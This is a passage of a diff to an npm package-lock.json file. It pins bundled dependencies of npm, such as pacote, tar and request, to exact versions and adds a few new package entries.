+ "figgy-pudding": "3.5.1",
+ "lru-cache": "5.1.1",
+ "make-fetch-happen": "5.0.0",
+ "npm-package-arg": "6.1.1"
}
},
"npm-run-path": {
"version": "2.0.2",
"bundled": true,
"requires": {
- "path-key": "^2.0.0"
+ "path-key": "2.0.1"
}
},
"npm-user-validate": {
@@ -12462,10 +13331,10 @@
"version": "4.1.2",
"bundled": true,
"requires": {
- "are-we-there-yet": "~1.1.2",
- "console-control-strings": "~1.1.0",
- "gauge": "~2.7.3",
- "set-blocking": "~2.0.0"
+ "are-we-there-yet": "1.1.4",
+ "console-control-strings": "1.1.0",
+ "gauge": "2.7.4",
+ "set-blocking": "2.0.0"
}
},
"number-is-nan": {
@@ -12480,15 +13349,27 @@
"version": "4.1.1",
"bundled": true
},
+ "object-keys": {
+ "version": "1.0.12",
+ "bundled": true
+ },
+ "object.getownpropertydescriptors": {
+ "version": "2.0.3",
+ "bundled": true,
+ "requires": {
+ "define-properties": "1.1.3",
+ "es-abstract": "1.12.0"
+ }
+ },
"once": {
"version": "1.4.0",
"bundled": true,
"requires": {
- "wrappy": "1"
+ "wrappy": "1.0.2"
}
},
"opener": {
- "version": "1.5.0",
+ "version": "1.5.1",
"bundled": true
},
"os-homedir": {
@@ -12499,9 +13380,9 @@
"version": "2.1.0",
"bundled": true,
"requires": {
- "execa": "^0.7.0",
- "lcid": "^1.0.0",
- "mem": "^1.1.0"
+ "execa": "0.7.0",
+ "lcid": "1.0.0",
+ "mem": "1.1.0"
}
},
"os-tmpdir": {
@@ -12512,8 +13393,8 @@
"version": "0.1.5",
"bundled": true,
"requires": {
- "os-homedir": "^1.0.0",
- "os-tmpdir": "^1.0.0"
+ "os-homedir": "1.0.2",
+ "os-tmpdir": "1.0.2"
}
},
"p-finally": {
@@ -12524,14 +13405,14 @@
"version": "1.2.0",
"bundled": true,
"requires": {
- "p-try": "^1.0.0"
+ "p-try": "1.0.0"
}
},
"p-locate": {
"version": "2.0.0",
"bundled": true,
"requires": {
- "p-limit": "^1.1.0"
+ "p-limit": "1.2.0"
}
},
"p-try": {
@@ -12542,50 +13423,86 @@
"version": "4.0.1",
"bundled": true,
"requires": {
- "got": "^6.7.1",
- "registry-auth-token": "^3.0.1",
- "registry-url": "^3.0.3",
- "semver": "^5.1.0"
+ "got": "6.7.1",
+ "registry-auth-token": "3.3.2",
+ "registry-url": "3.1.0",
+ "semver": "5.7.1"
}
},
"pacote": {
- "version": "8.1.6",
+ "version": "9.5.8",
"bundled": true,
"requires": {
- "bluebird": "^3.5.1",
- "cacache": "^11.0.2",
- "get-stream": "^3.0.0",
- "glob": "^7.1.2",
- "lru-cache": "^4.1.3",
- "make-fetch-happen": "^4.0.1",
- "minimatch": "^3.0.4",
- "minipass": "^2.3.3",
- "mississippi": "^3.0.0",
- "mkdirp": "^0.5.1",
- "normalize-package-data": "^2.4.0",
- "npm-package-arg": "^6.1.0",
- "npm-packlist": "^1.1.10",
- "npm-pick-manifest": "^2.1.0",
- "osenv": "^0.1.5",
- "promise-inflight": "^1.0.1",
- "promise-retry": "^1.1.1",
- "protoduck": "^5.0.0",
- "rimraf": "^2.6.2",
- "safe-buffer": "^5.1.2",
- "semver": "^5.5.0",
- "ssri": "^6.0.0",
- "tar": "^4.4.3",
- "unique-filename": "^1.1.0",
- "which": "^1.3.0"
+ "bluebird": "3.5.5",
+ "cacache": "12.0.3",
+ "chownr": "1.1.2",
+ "figgy-pudding": "3.5.1",
+ "get-stream": "4.1.0",
+ "glob": "7.1.4",
+ "infer-owner": "1.0.4",
+ "lru-cache": "5.1.1",
+ "make-fetch-happen": "5.0.0",
+ "minimatch": "3.0.4",
+ "minipass": "2.3.5",
+ "mississippi": "3.0.0",
+ "mkdirp": "0.5.1",
+ "normalize-package-data": "2.5.0",
+ "npm-package-arg": "6.1.1",
+ "npm-packlist": "1.4.4",
+ "npm-pick-manifest": "3.0.2",
+ "npm-registry-fetch": "4.0.0",
+ "osenv": "0.1.5",
+ "promise-inflight": "1.0.1",
+ "promise-retry": "1.1.1",
+ "protoduck": "5.0.1",
+ "rimraf": "2.6.3",
+ "safe-buffer": "5.1.2",
+ "semver": "5.7.1",
+ "ssri": "6.0.1",
+ "tar": "4.4.10",
+ "unique-filename": "1.1.1",
+ "which": "1.3.1"
+ },
+ "dependencies": {
+ "minipass": {
+ "version": "2.3.5",
+ "bundled": true,
+ "requires": {
+ "safe-buffer": "5.1.2",
+ "yallist": "3.0.3"
+ }
+ }
}
},
"parallel-transform": {
"version": "1.1.0",
"bundled": true,
"requires": {
- "cyclist": "~0.2.2",
- "inherits": "^2.0.3",
- "readable-stream": "^2.1.5"
+ "cyclist": "0.2.2",
+ "inherits": "2.0.4",
+ "readable-stream": "2.3.6"
+ },
+ "dependencies": {
+ "readable-stream": {
+ "version": "2.3.6",
+ "bundled": true,
+ "requires": {
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.4",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.2",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
+ }
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "bundled": true,
+ "requires": {
+ "safe-buffer": "5.1.2"
+ }
+ }
}
},
"path-exists": {
@@ -12604,6 +13521,10 @@
"version": "2.0.1",
"bundled": true
},
+ "path-parse": {
+ "version": "1.0.6",
+ "bundled": true
+ },
"performance-now": {
"version": "2.1.0",
"bundled": true
@@ -12628,8 +13549,8 @@
"version": "1.1.1",
"bundled": true,
"requires": {
- "err-code": "^1.0.0",
- "retry": "^0.10.0"
+ "err-code": "1.1.2",
+ "retry": "0.10.1"
},
"dependencies": {
"retry": {
@@ -12642,7 +13563,7 @@
"version": "0.3.0",
"bundled": true,
"requires": {
- "read": "1"
+ "read": "1.0.7"
}
},
"proto-list": {
@@ -12650,10 +13571,10 @@
"bundled": true
},
"protoduck": {
- "version": "5.0.0",
+ "version": "5.0.1",
"bundled": true,
"requires": {
- "genfun": "^4.0.1"
+ "genfun": "5.0.0"
}
},
"prr": {
@@ -12672,25 +13593,25 @@
"version": "3.0.0",
"bundled": true,
"requires": {
- "end-of-stream": "^1.1.0",
- "once": "^1.3.1"
+ "end-of-stream": "1.4.1",
+ "once": "1.4.0"
}
},
"pumpify": {
"version": "1.5.1",
"bundled": true,
"requires": {
- "duplexify": "^3.6.0",
- "inherits": "^2.0.3",
- "pump": "^2.0.0"
+ "duplexify": "3.6.0",
+ "inherits": "2.0.4",
+ "pump": "2.0.1"
},
"dependencies": {
"pump": {
"version": "2.0.1",
"bundled": true,
"requires": {
- "end-of-stream": "^1.1.0",
- "once": "^1.3.1"
+ "end-of-stream": "1.4.1",
+ "once": "1.4.0"
}
}
}
@@ -12708,11 +13629,12 @@
"bundled": true
},
"query-string": {
- "version": "6.1.0",
+ "version": "6.8.2",
"bundled": true,
"requires": {
- "decode-uri-component": "^0.2.0",
- "strict-uri-encode": "^2.0.0"
+ "decode-uri-component": "0.2.0",
+ "split-on-first": "1.1.0",
+ "strict-uri-encode": "2.0.0"
}
},
"qw": {
@@ -12723,10 +13645,10 @@
"version": "1.2.7",
"bundled": true,
"requires": {
- "deep-extend": "^0.5.1",
- "ini": "~1.3.0",
- "minimist": "^1.2.0",
- "strip-json-comments": "~2.0.1"
+ "deep-extend": "0.5.1",
+ "ini": "1.3.5",
+ "minimist": "1.2.0",
+ "strip-json-comments": "2.0.1"
},
"dependencies": {
"minimist": {
@@ -12739,113 +13661,107 @@
"version": "1.0.7",
"bundled": true,
"requires": {
- "mute-stream": "~0.0.4"
+ "mute-stream": "0.0.7"
}
},
"read-cmd-shim": {
- "version": "1.0.1",
+ "version": "1.0.4",
"bundled": true,
"requires": {
- "graceful-fs": "^4.1.2"
+ "graceful-fs": "4.2.2"
}
},
"read-installed": {
"version": "4.0.3",
"bundled": true,
"requires": {
- "debuglog": "^1.0.1",
- "graceful-fs": "^4.1.2",
- "read-package-json": "^2.0.0",
- "readdir-scoped-modules": "^1.0.0",
- "semver": "2 || 3 || 4 || 5",
- "slide": "~1.1.3",
- "util-extend": "^1.0.1"
+ "debuglog": "1.0.1",
+ "graceful-fs": "4.2.2",
+ "read-package-json": "2.1.0",
+ "readdir-scoped-modules": "1.1.0",
+ "semver": "5.7.1",
+ "slide": "1.1.6",
+ "util-extend": "1.0.3"
}
},
"read-package-json": {
- "version": "2.0.13",
+ "version": "2.1.0",
"bundled": true,
"requires": {
- "glob": "^7.1.1",
- "graceful-fs": "^4.1.2",
- "json-parse-better-errors": "^1.0.1",
- "normalize-package-data": "^2.0.0",
- "slash": "^1.0.0"
+ "glob": "7.1.4",
+ "graceful-fs": "4.2.2",
+ "json-parse-better-errors": "1.0.2",
+ "normalize-package-data": "2.5.0",
+ "slash": "1.0.0"
}
},
"read-package-tree": {
- "version": "5.2.1",
+ "version": "5.3.1",
"bundled": true,
"requires": {
- "debuglog": "^1.0.1",
- "dezalgo": "^1.0.0",
- "once": "^1.3.0",
- "read-package-json": "^2.0.0",
- "readdir-scoped-modules": "^1.0.0"
+ "read-package-json": "2.1.0",
+ "readdir-scoped-modules": "1.1.0",
+ "util-promisify": "2.1.0"
}
},
"readable-stream": {
- "version": "2.3.6",
+ "version": "3.4.0",
"bundled": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "inherits": "2.0.4",
+ "string_decoder": "1.2.0",
+ "util-deprecate": "1.0.2"
}
},
"readdir-scoped-modules": {
- "version": "1.0.2",
+ "version": "1.1.0",
"bundled": true,
"requires": {
- "debuglog": "^1.0.1",
- "dezalgo": "^1.0.0",
- "graceful-fs": "^4.1.2",
- "once": "^1.3.0"
+ "debuglog": "1.0.1",
+ "dezalgo": "1.0.3",
+ "graceful-fs": "4.2.2",
+ "once": "1.4.0"
}
},
"registry-auth-token": {
"version": "3.3.2",
"bundled": true,
"requires": {
- "rc": "^1.1.6",
- "safe-buffer": "^5.0.1"
+ "rc": "1.2.7",
+ "safe-buffer": "5.1.2"
}
},
"registry-url": {
"version": "3.1.0",
"bundled": true,
"requires": {
- "rc": "^1.0.1"
+ "rc": "1.2.7"
}
},
"request": {
"version": "2.88.0",
"bundled": true,
"requires": {
- "aws-sign2": "~0.7.0",
- "aws4": "^1.8.0",
- "caseless": "~0.12.0",
- "combined-stream": "~1.0.6",
- "extend": "~3.0.2",
- "forever-agent": "~0.6.1",
- "form-data": "~2.3.2",
- "har-validator": "~5.1.0",
- "http-signature": "~1.2.0",
- "is-typedarray": "~1.0.0",
- "isstream": "~0.1.2",
- "json-stringify-safe": "~5.0.1",
- "mime-types": "~2.1.19",
- "oauth-sign": "~0.9.0",
- "performance-now": "^2.1.0",
- "qs": "~6.5.2",
- "safe-buffer": "^5.1.2",
- "tough-cookie": "~2.4.3",
- "tunnel-agent": "^0.6.0",
- "uuid": "^3.3.2"
+ "aws-sign2": "0.7.0",
+ "aws4": "1.8.0",
+ "caseless": "0.12.0",
+ "combined-stream": "1.0.6",
+ "extend": "3.0.2",
+ "forever-agent": "0.6.1",
+ "form-data": "2.3.2",
+ "har-validator": "5.1.0",
+ "http-signature": "1.2.0",
+ "is-typedarray": "1.0.0",
+ "isstream": "0.1.2",
+ "json-stringify-safe": "5.0.1",
+ "mime-types": "2.1.19",
+ "oauth-sign": "0.9.0",
+ "performance-now": "2.1.0",
+ "qs": "6.5.2",
+ "safe-buffer": "5.1.2",
+ "tough-cookie": "2.4.3",
+ "tunnel-agent": "0.6.0",
+ "uuid": "3.3.2"
}
},
"require-directory": {
@@ -12865,17 +13781,23 @@
"bundled": true
},
"rimraf": {
- "version": "2.6.2",
+ "version": "2.6.3",
"bundled": true,
"requires": {
- "glob": "^7.0.5"
+ "glob": "7.1.4"
}
},
"run-queue": {
"version": "1.0.3",
"bundled": true,
"requires": {
- "aproba": "^1.1.1"
+ "aproba": "1.2.0"
+ },
+ "dependencies": {
+ "aproba": {
+ "version": "1.2.0",
+ "bundled": true
+ }
}
},
"safe-buffer": {
@@ -12887,14 +13809,14 @@
"bundled": true
},
"semver": {
- "version": "5.5.0",
+ "version": "5.7.1",
"bundled": true
},
"semver-diff": {
"version": "2.1.0",
"bundled": true,
"requires": {
- "semver": "^5.0.3"
+ "semver": "5.7.1"
}
},
"set-blocking": {
@@ -12902,18 +13824,17 @@
"bundled": true
},
"sha": {
- "version": "2.0.1",
+ "version": "3.0.0",
"bundled": true,
"requires": {
- "graceful-fs": "^4.1.2",
- "readable-stream": "^2.0.2"
+ "graceful-fs": "4.2.2"
}
},
"shebang-command": {
"version": "1.2.0",
"bundled": true,
"requires": {
- "shebang-regex": "^1.0.0"
+ "shebang-regex": "1.0.0"
}
},
"shebang-regex": {
@@ -12933,23 +13854,32 @@
"bundled": true
},
"smart-buffer": {
- "version": "4.0.1",
+ "version": "4.0.2",
"bundled": true
},
"socks": {
- "version": "2.2.0",
+ "version": "2.3.2",
"bundled": true,
"requires": {
- "ip": "^1.1.5",
- "smart-buffer": "^4.0.1"
+ "ip": "1.1.5",
+ "smart-buffer": "4.0.2"
}
},
"socks-proxy-agent": {
- "version": "4.0.1",
+ "version": "4.0.2",
"bundled": true,
"requires": {
- "agent-base": "~4.2.0",
- "socks": "~2.2.0"
+ "agent-base": "4.2.1",
+ "socks": "2.3.2"
+ },
+ "dependencies": {
+ "agent-base": {
+ "version": "4.2.1",
+ "bundled": true,
+ "requires": {
+ "es6-promisify": "5.0.0"
+ }
+ }
}
},
"sorted-object": {
@@ -12960,16 +13890,16 @@
"version": "2.1.3",
"bundled": true,
"requires": {
- "from2": "^1.3.0",
- "stream-iterate": "^1.1.0"
+ "from2": "1.3.0",
+ "stream-iterate": "1.2.0"
},
"dependencies": {
"from2": {
"version": "1.3.0",
"bundled": true,
"requires": {
- "inherits": "~2.0.1",
- "readable-stream": "~1.1.10"
+ "inherits": "2.0.4",
+ "readable-stream": "1.1.14"
}
},
"isarray": {
@@ -12980,10 +13910,10 @@
"version": "1.1.14",
"bundled": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.1",
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.4",
"isarray": "0.0.1",
- "string_decoder": "~0.10.x"
+ "string_decoder": "0.10.31"
}
},
"string_decoder": {
@@ -12996,8 +13926,8 @@
"version": "3.0.0",
"bundled": true,
"requires": {
- "spdx-expression-parse": "^3.0.0",
- "spdx-license-ids": "^3.0.0"
+ "spdx-expression-parse": "3.0.0",
+ "spdx-license-ids": "3.0.3"
}
},
"spdx-exceptions": {
@@ -13008,47 +13938,76 @@
"version": "3.0.0",
"bundled": true,
"requires": {
- "spdx-exceptions": "^2.1.0",
- "spdx-license-ids": "^3.0.0"
+ "spdx-exceptions": "2.1.0",
+ "spdx-license-ids": "3.0.3"
}
},
"spdx-license-ids": {
- "version": "3.0.0",
+ "version": "3.0.3",
+ "bundled": true
+ },
+ "split-on-first": {
+ "version": "1.1.0",
"bundled": true
},
"sshpk": {
"version": "1.14.2",
"bundled": true,
"requires": {
- "asn1": "~0.2.3",
- "assert-plus": "^1.0.0",
- "bcrypt-pbkdf": "^1.0.0",
- "dashdash": "^1.12.0",
- "ecc-jsbn": "~0.1.1",
- "getpass": "^0.1.1",
- "jsbn": "~0.1.0",
- "safer-buffer": "^2.0.2",
- "tweetnacl": "~0.14.0"
+ "asn1": "0.2.4",
+ "assert-plus": "1.0.0",
+ "bcrypt-pbkdf": "1.0.2",
+ "dashdash": "1.14.1",
+ "ecc-jsbn": "0.1.2",
+ "getpass": "0.1.7",
+ "jsbn": "0.1.1",
+ "safer-buffer": "2.1.2",
+ "tweetnacl": "0.14.5"
}
},
"ssri": {
- "version": "6.0.0",
- "bundled": true
+ "version": "6.0.1",
+ "bundled": true,
+ "requires": {
+ "figgy-pudding": "3.5.1"
+ }
},
"stream-each": {
"version": "1.2.2",
"bundled": true,
"requires": {
- "end-of-stream": "^1.1.0",
- "stream-shift": "^1.0.0"
+ "end-of-stream": "1.4.1",
+ "stream-shift": "1.0.0"
}
},
"stream-iterate": {
"version": "1.2.0",
"bundled": true,
"requires": {
- "readable-stream": "^2.1.5",
- "stream-shift": "^1.0.0"
+ "readable-stream": "2.3.6",
+ "stream-shift": "1.0.0"
+ },
+ "dependencies": {
+ "readable-stream": {
+ "version": "2.3.6",
+ "bundled": true,
+ "requires": {
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.4",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.2",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
+ }
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "bundled": true,
+ "requires": {
+ "safe-buffer": "5.1.2"
+ }
+ }
}
},
"stream-shift": {
@@ -13063,8 +14022,8 @@
"version": "2.1.1",
"bundled": true,
"requires": {
- "is-fullwidth-code-point": "^2.0.0",
- "strip-ansi": "^4.0.0"
+ "is-fullwidth-code-point": "2.0.0",
+ "strip-ansi": "4.0.0"
},
"dependencies": {
"ansi-regex": {
@@ -13079,16 +14038,16 @@
"version": "4.0.0",
"bundled": true,
"requires": {
- "ansi-regex": "^3.0.0"
+ "ansi-regex": "3.0.0"
}
}
}
},
"string_decoder": {
- "version": "1.1.1",
+ "version": "1.2.0",
"bundled": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.2"
}
},
"stringify-package": {
@@ -13099,7 +14058,7 @@
"version": "3.0.1",
"bundled": true,
"requires": {
- "ansi-regex": "^2.0.0"
+ "ansi-regex": "2.1.1"
}
},
"strip-eof": {
@@ -13114,24 +14073,32 @@
"version": "5.4.0",
"bundled": true,
"requires": {
- "has-flag": "^3.0.0"
+ "has-flag": "3.0.0"
}
},
"tar": {
- "version": "4.4.6",
+ "version": "4.4.10",
"bundled": true,
"requires": {
- "chownr": "^1.0.1",
- "fs-minipass": "^1.2.5",
- "minipass": "^2.3.3",
- "minizlib": "^1.1.0",
- "mkdirp": "^0.5.0",
- "safe-buffer": "^5.1.2",
- "yallist": "^3.0.2"
+ "chownr": "1.1.2",
+ "fs-minipass": "1.2.6",
+ "minipass": "2.3.5",
+ "minizlib": "1.2.1",
+ "mkdirp": "0.5.1",
+ "safe-buffer": "5.1.2",
+ "yallist": "3.0.3"
},
"dependencies": {
+ "minipass": {
+ "version": "2.3.5",
+ "bundled": true,
+ "requires": {
+ "safe-buffer": "5.1.2",
+ "yallist": "3.0.3"
+ }
+ },
"yallist": {
- "version": "3.0.2",
+ "version": "3.0.3",
"bundled": true
}
}
@@ -13140,7 +14107,7 @@
"version": "1.2.0",
"bundled": true,
"requires": {
- "execa": "^0.7.0"
+ "execa": "0.7.0"
}
},
"text-table": {
@@ -13155,8 +14122,30 @@
"version": "2.0.3",
"bundled": true,
"requires": {
- "readable-stream": "^2.1.5",
- "xtend": "~4.0.1"
+ "readable-stream": "2.3.6",
+ "xtend": "4.0.1"
+ },
+ "dependencies": {
+ "readable-stream": {
+ "version": "2.3.6",
+ "bundled": true,
+ "requires": {
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.4",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.2",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
+ }
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "bundled": true,
+ "requires": {
+ "safe-buffer": "5.1.2"
+ }
+ }
}
},
"timed-out": {
@@ -13171,15 +14160,15 @@
"version": "2.4.3",
"bundled": true,
"requires": {
- "psl": "^1.1.24",
- "punycode": "^1.4.1"
+ "psl": "1.1.29",
+ "punycode": "1.4.1"
}
},
"tunnel-agent": {
"version": "0.6.0",
"bundled": true,
"requires": {
- "safe-buffer": "^5.0.1"
+ "safe-buffer": "5.1.2"
}
},
"tweetnacl": {
@@ -13200,24 +14189,24 @@
"bundled": true
},
"unique-filename": {
- "version": "1.1.0",
+ "version": "1.1.1",
"bundled": true,
"requires": {
- "unique-slug": "^2.0.0"
+ "unique-slug": "2.0.0"
}
},
"unique-slug": {
"version": "2.0.0",
"bundled": true,
"requires": {
- "imurmurhash": "^0.1.4"
+ "imurmurhash": "0.1.4"
}
},
"unique-string": {
"version": "1.0.0",
"bundled": true,
"requires": {
- "crypto-random-string": "^1.0.0"
+ "crypto-random-string": "1.0.0"
}
},
"unpipe": {
@@ -13232,23 +14221,23 @@
"version": "2.5.0",
"bundled": true,
"requires": {
- "boxen": "^1.2.1",
- "chalk": "^2.0.1",
- "configstore": "^3.0.0",
- "import-lazy": "^2.1.0",
- "is-ci": "^1.0.10",
- "is-installed-globally": "^0.1.0",
- "is-npm": "^1.0.0",
- "latest-version": "^3.0.0",
- "semver-diff": "^2.0.0",
- "xdg-basedir": "^3.0.0"
+ "boxen": "1.3.0",
+ "chalk": "2.4.1",
+ "configstore": "3.1.2",
+ "import-lazy": "2.1.0",
+ "is-ci": "1.1.0",
+ "is-installed-globally": "0.1.0",
+ "is-npm": "1.0.0",
+ "latest-version": "3.1.0",
+ "semver-diff": "2.1.0",
+ "xdg-basedir": "3.0.0"
}
},
"url-parse-lax": {
"version": "1.0.0",
"bundled": true,
"requires": {
- "prepend-http": "^1.0.1"
+ "prepend-http": "1.0.4"
}
},
"util-deprecate": {
@@ -13259,6 +14248,13 @@
"version": "1.0.3",
"bundled": true
},
+ "util-promisify": {
+ "version": "2.1.0",
+ "bundled": true,
+ "requires": {
+ "object.getownpropertydescriptors": "2.0.3"
+ }
+ },
"uuid": {
"version": "3.3.2",
"bundled": true
@@ -13267,38 +14263,38 @@
"version": "3.0.4",
"bundled": true,
"requires": {
- "spdx-correct": "^3.0.0",
- "spdx-expression-parse": "^3.0.0"
+ "spdx-correct": "3.0.0",
+ "spdx-expression-parse": "3.0.0"
}
},
"validate-npm-package-name": {
"version": "3.0.0",
"bundled": true,
"requires": {
- "builtins": "^1.0.3"
+ "builtins": "1.0.3"
}
},
"verror": {
"version": "1.10.0",
"bundled": true,
"requires": {
- "assert-plus": "^1.0.0",
+ "assert-plus": "1.0.0",
"core-util-is": "1.0.2",
- "extsprintf": "^1.2.0"
+ "extsprintf": "1.3.0"
}
},
"wcwidth": {
"version": "1.0.1",
"bundled": true,
"requires": {
- "defaults": "^1.0.3"
+ "defaults": "1.0.3"
}
},
"which": {
"version": "1.3.1",
"bundled": true,
"requires": {
- "isexe": "^2.0.0"
+ "isexe": "2.0.0"
}
},
"which-module": {
@@ -13309,16 +14305,16 @@
"version": "1.1.2",
"bundled": true,
"requires": {
- "string-width": "^1.0.2"
+ "string-width": "1.0.2"
},
"dependencies": {
"string-width": {
"version": "1.0.2",
"bundled": true,
"requires": {
- "code-point-at": "^1.0.0",
- "is-fullwidth-code-point": "^1.0.0",
- "strip-ansi": "^3.0.0"
+ "code-point-at": "1.1.0",
+ "is-fullwidth-code-point": "1.0.0",
+ "strip-ansi": "3.0.1"
}
}
}
@@ -13327,31 +14323,31 @@
"version": "2.0.0",
"bundled": true,
"requires": {
- "string-width": "^2.1.1"
+ "string-width": "2.1.1"
}
},
"worker-farm": {
- "version": "1.6.0",
+ "version": "1.7.0",
"bundled": true,
"requires": {
- "errno": "~0.1.7"
+ "errno": "0.1.7"
}
},
"wrap-ansi": {
"version": "2.1.0",
"bundled": true,
"requires": {
- "string-width": "^1.0.1",
- "strip-ansi": "^3.0.1"
+ "string-width": "1.0.2",
+ "strip-ansi": "3.0.1"
},
"dependencies": {
"string-width": {
"version": "1.0.2",
"bundled": true,
"requires": {
- "code-point-at": "^1.0.0",
- "is-fullwidth-code-point": "^1.0.0",
- "strip-ansi": "^3.0.0"
+ "code-point-at": "1.1.0",
+ "is-fullwidth-code-point": "1.0.0",
+ "strip-ansi": "3.0.1"
}
}
}
@@ -13361,12 +14357,12 @@
"bundled": true
},
"write-file-atomic": {
- "version": "2.3.0",
+ "version": "2.4.3",
"bundled": true,
"requires": {
- "graceful-fs": "^4.1.11",
- "imurmurhash": "^0.1.4",
- "signal-exit": "^3.0.2"
+ "graceful-fs": "4.2.2",
+ "imurmurhash": "0.1.4",
+ "signal-exit": "3.0.2"
}
},
"xdg-basedir": {
@@ -13382,25 +14378,25 @@
"bundled": true
},
"yallist": {
- "version": "2.1.2",
+ "version": "3.0.3",
"bundled": true
},
"yargs": {
"version": "11.0.0",
"bundled": true,
"requires": {
- "cliui": "^4.0.0",
- "decamelize": "^1.1.1",
- "find-up": "^2.1.0",
- "get-caller-file": "^1.0.1",
- "os-locale": "^2.0.0",
- "require-directory": "^2.1.1",
- "require-main-filename": "^1.0.1",
- "set-blocking": "^2.0.0",
- "string-width": "^2.0.0",
- "which-module": "^2.0.0",
- "y18n": "^3.2.1",
- "yargs-parser": "^9.0.2"
+ "cliui": "4.1.0",
+ "decamelize": "1.2.0",
+ "find-up": "2.1.0",
+ "get-caller-file": "1.0.2",
+ "os-locale": "2.1.0",
+ "require-directory": "2.1.1",
+ "require-main-filename": "1.0.1",
+ "set-blocking": "2.0.0",
+ "string-width": "2.1.1",
+ "which-module": "2.0.0",
+ "y18n": "3.2.1",
+ "yargs-parser": "9.0.2"
},
"dependencies": {
"y18n": {
@@ -13413,7 +14409,7 @@
"version": "9.0.2",
"bundled": true,
"requires": {
- "camelcase": "^4.1.0"
+ "camelcase": "4.1.0"
}
}
}
@@ -13424,7 +14420,7 @@
"integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=",
"dev": true,
"requires": {
- "path-key": "^2.0.0"
+ "path-key": "2.0.1"
}
},
"npmlog": {
@@ -13432,10 +14428,10 @@
"resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz",
"integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==",
"requires": {
- "are-we-there-yet": "~1.1.2",
- "console-control-strings": "~1.1.0",
- "gauge": "~2.7.3",
- "set-blocking": "~2.0.0"
+ "are-we-there-yet": "1.1.5",
+ "console-control-strings": "1.1.0",
+ "gauge": "2.7.4",
+ "set-blocking": "2.0.0"
}
},
"nth-check": {
@@ -13444,7 +14440,7 @@
"integrity": "sha1-mSms32KPwsQQmN6rgqxYDPFJquQ=",
"dev": true,
"requires": {
- "boolbase": "~1.0.0"
+ "boolbase": "1.0.0"
}
},
"null-loader": {
@@ -13481,9 +14477,9 @@
"integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=",
"dev": true,
"requires": {
- "copy-descriptor": "^0.1.0",
- "define-property": "^0.2.5",
- "kind-of": "^3.0.3"
+ "copy-descriptor": "0.1.1",
+ "define-property": "0.2.5",
+ "kind-of": "3.2.2"
},
"dependencies": {
"define-property": {
@@ -13492,15 +14488,21 @@
"integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
"dev": true,
"requires": {
- "is-descriptor": "^0.1.0"
+ "is-descriptor": "0.1.6"
}
}
}
},
"object-hash": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-1.3.0.tgz",
- "integrity": "sha512-05KzQ70lSeGSrZJQXE5wNDiTkBJDlUT/myi6RX9dVIvz7a7Qh4oH93BQdiPMn27nldYvVQCKMUaM83AfizZlsQ==",
+ "version": "1.3.1",
+ "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-1.3.1.tgz",
+ "integrity": "sha512-OSuu/pU4ENM9kmREg0BdNrUDIl1heYa4mBZacJc+vVWz4GtAwu7jO8s4AIt2aGRUTqxykpWzI3Oqnsm13tTMDA==",
+ "dev": true
+ },
+ "object-is": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.0.1.tgz",
+ "integrity": "sha1-CqYOyZiaCz7Xlc9NBvYs8a1lObY=",
"dev": true
},
"object-keys": {
@@ -13515,7 +14517,7 @@
"integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=",
"dev": true,
"requires": {
- "isobject": "^3.0.0"
+ "isobject": "3.0.1"
},
"dependencies": {
"isobject": {
@@ -13532,10 +14534,34 @@
"integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==",
"dev": true,
"requires": {
- "define-properties": "^1.1.2",
- "function-bind": "^1.1.1",
- "has-symbols": "^1.0.0",
- "object-keys": "^1.0.11"
+ "define-properties": "1.1.3",
+ "function-bind": "1.1.1",
+ "has-symbols": "1.0.0",
+ "object-keys": "1.0.12"
+ }
+ },
+ "object.entries": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.0.tgz",
+ "integrity": "sha512-l+H6EQ8qzGRxbkHOd5I/aHRhHDKoQXQ8g0BYt4uSweQU1/J6dZUOyWh9a2Vky35YCKjzmgxOzta2hH6kf9HuXA==",
+ "dev": true,
+ "requires": {
+ "define-properties": "1.1.3",
+ "es-abstract": "1.12.0",
+ "function-bind": "1.1.1",
+ "has": "1.0.3"
+ }
+ },
+ "object.fromentries": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.0.tgz",
+ "integrity": "sha512-9iLiI6H083uiqUuvzyY6qrlmc/Gz8hLQFOcb/Ri/0xXFkSNS3ctV+CbE6yM2+AnkYfOB3dGjdzC0wrMLIhQICA==",
+ "dev": true,
+ "requires": {
+ "define-properties": "1.1.3",
+ "es-abstract": "1.12.0",
